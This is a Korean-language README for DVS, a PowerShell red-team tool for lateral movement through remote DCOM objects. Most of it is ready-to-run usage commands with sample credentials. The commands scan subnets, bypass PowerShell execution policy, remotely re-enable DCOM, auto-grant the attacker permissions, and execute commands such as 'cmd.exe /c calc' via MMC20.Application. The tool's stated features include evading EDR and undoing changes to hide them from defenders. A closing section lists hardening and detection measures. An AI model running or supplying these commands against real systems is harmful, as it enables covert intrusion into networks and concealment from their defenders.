
D(COM) V(ulnerability) S(canner) 일명 교활한 스위스 군용 칼 - DCOM 객체를 이용한 측면 이동
내부 네트워크를 통해 측면 이동을 어떻게 할 수 있을지, 또는 EDR에 경고 없이 원격 시스템과 상호 작용하는 방법에 대해 궁금해한 적이 있나요?
유효한 자격 증명이 있거나 원격 시스템에 접근할 수 있는 활성 세션이 있지만, 알려져 있거나 예상되거나 높은 수준의 모니터링이 되는 방식(예: WMI, 작업 스케줄러, WinRM, PowerShell Remoting)으로 원격으로 프로세스를 실행할 수 없는 상황을 가정해 봅시다.
이러한 시나리오를 위해 DVS 프레임워크가 도움을 줍니다.
DVS 프레임워크는 스위스 군용 칼과 같아서 원격 DCOM 객체의 취약한 기능을 열거하고, 실행하며, 이를 사용한 공격도 수행할 수 있습니다.
이 프레임워크는 "레드 팀" 마인드셋으로 개발되었으며 은밀한 방법을 사용하여 원격 시스템을 손상시킵니다.
DVS 프레임워크는 원격으로 DCOM 액세스를 다시 활성화하고 공격 사용자에게 필요한 권한을 자동으로 부여하여 DCOM에 대한 원격 강화를 우회하는 다양한 방법을 포함합니다.
또한 프레임워크는 원격 시스템의 변경 사항을 공격 전 원래 상태로 되돌려 수비수로부터 이러한 변경을 숨길 수 있습니다.
우리의 주요 통찰력은 이 도구가 aqsome 기술을 통해 취약하지 않은 DCOM 객체를 사용하여 명령을 실행할 수도 있다는 것입니다 (아래 Invoke-RegisterRemoteSchema에 대한 내용 참조).
PowerShell 2.0 이상과 호환됨
Youtube 동영상 PoC: DVS
이 도구는 테스트 및 교육 목적으로만 제공됩니다. 이 코드의 다른 사용은 허용되지 않습니다. 사용에 따른 책임은 본인에게 있습니다.
저자는 이 도구의 오용에 대해 어떤 책임도 지지 않습니다.
이 도구를 사용함으로써 발생하는 모든 피해는 사용자의 책임임을 동의하는 것입니다.
Remote-Registry access(MS-RRP)
AutoGrant 모드가 설정된 경우 쓰기 권한을 확인합니다. 그렇지 않으면 읽기 권한을 확인합니다.Standard Registry Provider (원격 레지스트리가 거부된 경우)
StdRegProv에 접근 가능한지 확인합니다.AutoGrant 모드가 설정된 경우 쓰기 권한을 확인하고, 그렇지 않으면 읽기 권한을 확인합니다.DVS 도구는 먼저 다음 단계를 통해 주체 ID가 원격 시스템에 액세스할 수 있는지 확인합니다:
기본 작업
SkipRegAuth가 설정되지 않은 경우)
AutoGrant가 설정된 경우), 그렇지 않으면 실패합니다.adsi/WindowsIdentity 기능을 통해) DCOM과 상호 작용할 수 있는 권한이 있는지 확인합니다(원격 레지스트리 쿼리를 통해).AutoGrant가 설정된 경우), 그렇지 않으면 실패합니다.HKLM 또는 HKCU 하이브)를 사용하여 시도합니다.Invoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Invoke-DCOMObjectScan 명령에 대한 자세한 정보
PS> Get-Help Get-ExecutionCommand -Detailed # Get-ExecutionCommand 명령에 대한 자세한 정보
PS> Get-Help Invoke-ExecutionCommand -Detailed # Invoke-ExecutionCommand 명령에 대한 자세한 정보
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Invoke-RegisterRemoteSchema 명령에 대한 자세한 정보
Invoke-DCOMObjectScan 함수는 파일에 포함된 패턴 목록이나 정확한 함수 이름을 통해 DCOM 객체를 스캔하고 취약한 함수를 찾을 수 있게 해줍니다.
예시:
레지스트리를 쿼리하지 않고 공격자 시스템에서 DC01 호스트로 MMC20.Application (ProgID) 객체를 열거하고 스캔합니다.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
참고: 도구는 ACL 권한을 분석하지 않으며, 성공하면 레지스트리에 언급된 세부 정보(객체 이름, 실행 파일 등)를 제외한 객체의 모든 정보를 확인합니다.
MMC20.Application (ProgID) 객체가 공격자 시스템에서 DC01 호스트로 액세스 가능한지 확인하며, 먼저 DCOM 객체의 액세스 목록을 쿼리하고 확인하지 않습니다.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
MMC20.Application (ProgID)가 10.211.55.4/24 범위를 통해 적용 가능한지 확인합니다. 존재하는 경우 도구는 해당 정보를 열거하려고 시도합니다. (현재 로그온된 사용자 세션 사용).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Get-ExecutionCommand 함수는 관련 매개변수와 함께 원격 DCOM 함수와 상호 작용하고 실행되는 PowerShell 페이로드를 생성할 수 있게 해줍니다.
lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 {00020812-0000-0000-C000-000000000046} CLSID 객체와 상호 작용할 수 있는 권한이 주체 ID에 있는지 확인한 다음 실행 명령을 생성합니다.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
DCOM 액세스를 확인합니다.
주체 ID에 필요한 권한이 없거나 DCOM 기능이 비활성화된 경우 도구는 DCOM 기능을 활성화하고 ID 액세스 권한을 부여하며 lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 MMC20.Application (ProgID) 객체와 상호 작용한 후 실행 명령을 생성합니다.
마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
ACL 권한을 분석하지 않고 현재 로그온된 세션을 사용하여 10.211.55.1/24 범위를 통해 (ProgID) 객체와 상호 작용을 시도한 다음 실행 명령을 생성합니다.
Invoke-ExecutionCommand 함수는 로그온된 사용자 또는 제공된 자격 증명을 사용하여 DCOM 객체를 통해 명령을 실행할 수 있게 해줍니다.
예시:
DCOM 액세스를 확인합니다.
주체 ID에 필요한 권한이 없거나 DCOM 기능이 비활성화된 경우 도구는 DCOM 기능을 활성화하고 액세스 권한을 부여하며 현재 로그온된 사용자 세션을 사용하여 10.211.55.1/24 범위를 통해 MMC20.Application (ProgID) 객체와 상호 작용하고 다음 명령을 실행합니다:
cmd.exe /c calc 명령 실행
Frame.Top 속성을 1로 설정
마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
lab\administrator 자격 증명을 사용하여 10.211.55.4 IP 주소를 통해 MMC20.Application (ProgID) 객체와 상호 작용을 시도하고 다음 명령을 실행합니다: cmd.exe /c calc.
Invoke-RegisterRemoteSchema 함수는 로그온된 사용자 또는 제공된 자격 증명을 사용하여 다음 DCOM 객체를 통해 명령을 실행할 수 있게 해줍니다:
참고: 이러한 DCOM 객체는 로컬 시스템 하이브에 대한 액세스가 필요하지 않습니다. 원격 시스템에 액세스할 수 있는 모든 사용자와 함께 발판을 마련할 수 있습니다!
현재 로그온된 세션을 사용하여 10.211.55.1/24 범위에서 cmd /c calc 명령을 실행하고 필요한 경우 권한을 부여합니다.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
제공된 자격 증명을 사용하여 10.211.55.4 원격 시스템에서 cmd /c calc 명령을 실행합니다.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
MITRE Technique: T1021.003 - Remote Services: Distributed Component Object Model
원격 DCOM 액세스 비활성화
필요하지 않은 경우 원격 레지스트리 액세스 허용 안 함
두 옵션 모두 가용성에 영향을 주지 않고 기업 환경에서 구현하기 어렵습니다.
그러나 도메인 원격 관리가 필요하지 않은 엔드포인트(예: 독립 실행형 엔드포인트)에는 좋은 강화 옵션이 될 수 있습니다.
Windows Defender 방화벽에서 도메인 및 개인 프로필 활성화
공격 표면을 줄이기 위해 LAPS 사용으로 전환합니다. 도메인의 각 컴퓨터가 다른 로컬 관리자 암호를 가지고 있으면 이 계정을 측면 이동에 사용할 수 없습니다.
사용자 액세스 권한 강화는 이 공격을 방지할 수 있습니다.
그룹 정책 개체를 사용하여 조직은 administrators, users 및 기타 그룹을 목록에서 제거하고 다른 컴퓨터에 대화형으로 로그온하지 않는 중앙 관리를 위한 특수 그룹/사용자로 전환할 수 있습니다.
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
CIS와 같은 공식 강화 가이드에서는 [네트워크에서 이 컴퓨터 액세스]의 권장 설정이 "administrators와 Remote Desktop Users 또는 Authenticated users"입니다. 이 권장 사항은 DVS 도구에 취약합니다.
administrators의 권한을 Remote Launch 및 Remote Activation 권한에서 제거하여 DCOM 권한을 강화합니다.
호스트 기반 방화벽/애플리케이션 인식 방화벽을 사용하여 컴퓨터 간 DCOM 액세스를 차단합니다. 특히 IT 또는 관리 인프라의 일부가 아닌 컴퓨터의 경우.
애플리케이션 제어 규칙은 취약한 프로세스가 위험한 자식 프로세스를 생성하거나 DLL을 로드하는 것을 방지하는 마지막 보안 제어 계층으로 사용될 수 있습니다.
예:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
다음 위치의 레지스트리 변경 사항 모니터링:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
이 키는 DCOM 권한 설정입니다. 변경된 경우 DVS 도구를 사용한 공격자가 강화를 제거했음을 의미할 수 있습니다.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"[HKEY_LOCAL_MACHINE\SOFTWARE\Classes] 키와 연결된 하위 키 및 레지스트리 값에는 COM 기능을 지원하는 데 필요한 애플리케이션 정보가 포함됩니다. 이 정보는 지원되는 데이터 형식, 호환성 정보, 프로그래밍 식별자, DCOM 및 컨트롤과 같은 항목을 포함합니다." Microsoft 개발자 센터 참조
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
이 키 변경은 DVS 도구가 DCOM 원격 활성화 및 원격 실행 제한을 비활성화했음을 나타낼 수 있습니다.
애플리케이션 인식 방화벽을 사용하여 컴퓨터 간 DCOM 액세스를 차단합니다. 특히 IT 또는 관리 인프라의 일부가 아닌 컴퓨터에서.
침입 방지 시스템(예: Snort, Suricata)을 사용하여 RPC(MS-RPC, MS-RPCE) 및 원격 레지스트리 프로토콜(MS-RRP)을 기반으로 하는 DCOM 프로토콜을 탐지할 수 있습니다.
도메인 및 개인 프로필에 대해 차단된 트래픽에 대한 감사 로그를 활성화하여 Windows Defender 방화벽을 모니터링합니다.
다음 키의 변경 사항을 모니터링합니다. 이는 DVS 도구가 Microsoft Defender 방화벽 동적 RPC 제한을 우회하는 규칙을 생성했음을 나타낼 수 있습니다.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Windows 이벤트 로그 모니터링:이벤트 감사를 활성화합니다. 성공 및 실패 시 활성화해야 하는 감사 설정: 감사 계정 로그온 이벤트 | 감사 로그온 이벤트 | 감사 개체 액세스 | NTLM 감사
이 레지스트리 키로 이동: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] 값이 '1'인 새 DWORD를 생성하고 이름을 ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel 으로 지정합니다.
10.211.55.4 IP 주소를 통해 {00020812-0000-0000-C000-000000000046} CLSID 객체가 존재하고 액세스 가능한지 확인합니다. 존재하는 경우 도구는 해당 정보를 확인합니다. (lab\administrator 자격 증명 사용).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
10.211.55.4 IP 주소를 통해 지정된 경로(예: C:\Users\USERNAME\Desktop\DVS\objects.txt)에 저장된 모든 객체를 스캔하고, _다음 구성_으로 lab\administrator 자격 증명을 사용하여 vulnerable.txt와 같은 지정된 파일에 있는 함수 목록을 찾습니다:
최대 깊이: 4
최대 결과: 1 (각 객체당 1개 결과)
AutoGrant 모드: 객체에 대한 액세스 권한이 없거나 DCOM 기능이 비활성화된 경우 DCOM 기능을 활성화하고 관련 DCOM 객체에 자동으로 권한을 부여합니다.
마지막으로 시스템을 공격 전과 동일한 상태로 되돌립니다.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
10.211.55.1/24 범위에서 사용 가능한 원격 시스템에 저장된 모든 객체를 스캔하고 선택한 파일(예: C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)에 있는 목록에서 잠재적인 취약 함수를 찾고, 선택한 파일(예: C:\Users\USERNAME\Desktop\DVS\exclude.txt)에 있는 객체를 제외하며, 동일한 객체의 다른 경로에서 동일한 이름의 속성을 건너뜁니다.
참고: SkipSameProperyName 플래그는 동일한 속성 이름이 다른 기본 설정(메서드/기타 속성) 또는 다른 깊이 체인으로 존재하는 경우 취약 함수를 놓칠 수 있습니다.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
MMC20.Application PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
레지스트리를 쿼리하지 않고 10.211.55.4 IP 주소를 통해 MMC20.Application (ProgID) 객체와 상호 작용을 시도합니다.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
ACL 권한을 분석하지 않고 현재 로그온된 사용자 세션을 사용하여 MMC20.Application (ProgID) 객체와 상호 작용을 시도하고 다음 명령을 실행합니다: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose